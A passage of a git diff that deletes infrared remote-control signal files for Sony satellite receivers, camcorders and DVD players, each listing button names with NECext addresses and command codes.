ENTER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir deleted file mode 100644 index 84a684631..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 10 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 15 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 29 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 32 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 3A 00 00 00 -# -name: SCREEN_MODE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 3D 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 4A 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 4A 00 00 00 -# -name: INTERACTIVE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 60 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 63 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 69 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 6C 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 6E 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 6F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 72 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 73 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 75 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 76 00 00 00 -# -name: CUSOR_SELECT -type: parsed -protocol: NECext -address: 17 85 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir deleted file mode 100644 index 8279754fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir deleted file mode 100644 index 89eefad41..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir deleted file mode 100644 index 2f89fe257..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir deleted file mode 100644 index e557ed9d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHOTO -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 15 00 00 00 -# -name: START/STOP -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 19 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 2D 00 00 00 -# -name: DATA_CODE -type: parsed -protocol: NECext -address: B9 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir deleted file mode 100644 index 45cd9c9a2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TELEPHOTO -type: parsed -protocol: NECext -address: D9 00 00 00 -command: 1A 00 00 00 -# -name: WIDE_ANGLE -type: parsed -protocol: NECext -address: D9 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir deleted file mode 100644 index 6362d6674..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: X_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: RECORD_DV_IN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: ZERO_SET_MEMORY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 47 00 00 00 -# -name: SEARCH_MODE_>> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: SEARCH_MODE_<< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5A 00 00 00 -# -name: AUDIO_DUB -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir deleted file mode 100644 index cb019d20e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: TV_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir deleted file mode 100644 index b1d171a31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir deleted file mode 100644 index 9be595cab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 50 00 00 00 -# -name: L3 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 51 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 52 00 00 00 -# -name: START -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 54 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 57 00 00 00 -# -name: L2 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 58 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 59 00 00 00 -# -name: L1 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5A 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5B 00 00 00 -# -name: TRIANGLE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5C 00 00 00 -# -name: CIRCLE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5D 00 00 00 -# -name: CROSS -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5E 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir deleted file mode 100644 index ad6391560..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir +++ /dev/null @@ -1,1232 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: EXECUTE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 10 00 00 00 -# -name: SEARCH>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 20 00 00 00 -# -name: SEARCH/STEP_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 20 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 21 00 00 00 -# -name: SEARCH_/STEP<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SLOW_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN/SLOW_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN_/SLOW>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: SLOW_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: SCAN/SLOW_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: SCAN_/SLOW<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: TME/TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 29 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: A_-_B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: A<-->B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: A<->B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2E 00 00 00 -# -name: POWER_ON_(MOST) -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2E 00 00 00 -# -name: POWER_ON_(S7000) -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF_(MOST) -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF_(S7000) -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2F 00 00 00 -# -name: <>NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: NEXT_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: NEXT_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: SKIP_<<_(NEXT) -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: NEXT>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: X2_< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 36 00 00 00 -# -name: X2_> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 37 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: JOG_CCW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3A 00 00 00 -# -name: STEP_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3A 00 00 00 -# -name: JOG_- -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3A 00 00 00 -# -name: JOG_CW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3B 00 00 00 -# -name: STEP_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3B 00 00 00 -# -name: JOG_+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 3B 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 40 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 41 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 42 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 43 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 44 00 00 00 -# -name: ONE/ALL_DISCS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 47 00 00 00 -# -name: .1/ALL_DISCS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 47 00 00 00 -# -name: 1/ALL_DISCS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 47 00 00 00 -# -name: 1/ALL_DISCS_/_LOAD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 47 00 00 00 -# -name: BNR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 48 00 00 00 -# -name: DNR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 48 00 00 00 -# -name: LOAD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 49 00 00 00 -# -name: 1/ALL_DISCS_/_LOAD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 49 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4B 00 00 00 -# -name: MEGA -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4E 00 00 00 -# -name: MEGA_CONTROL -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4E 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4F 00 00 00 -# -name: PICTURE_NAVI -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 50 00 00 00 -# -name: EASY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 52 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: VIDEO_ON/OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 55 00 00 00 -# -name: FL_ON/OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 56 00 00 00 -# -name: BOOK_MARK -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 57 00 00 00 -# -name: DVE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 58 00 00 00 -# -name: SUR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5A 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5A 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5B 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: STEP< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: SACD/CD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5F 00 00 00 -# -name: SLOW_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 60 00 00 00 -# -name: SLOW_MOTION_< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 60 00 00 00 -# -name: SLOW_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 61 00 00 00 -# -name: SLOW_MOTION_> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 61 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 62 00 00 00 -# -name: SUB-TITLE_ON/OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 62 00 00 00 -# -name: SUBTITLE_CHANGE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: SUBTITLE_/_EDIT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: SUB-TITLE_CHANGE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: AUDIO_CHANGE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: AUDIO_/_FILE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: ANGLE_CHANGE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: ANGLE_/_SORT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: DIAL_CCW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 72 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: 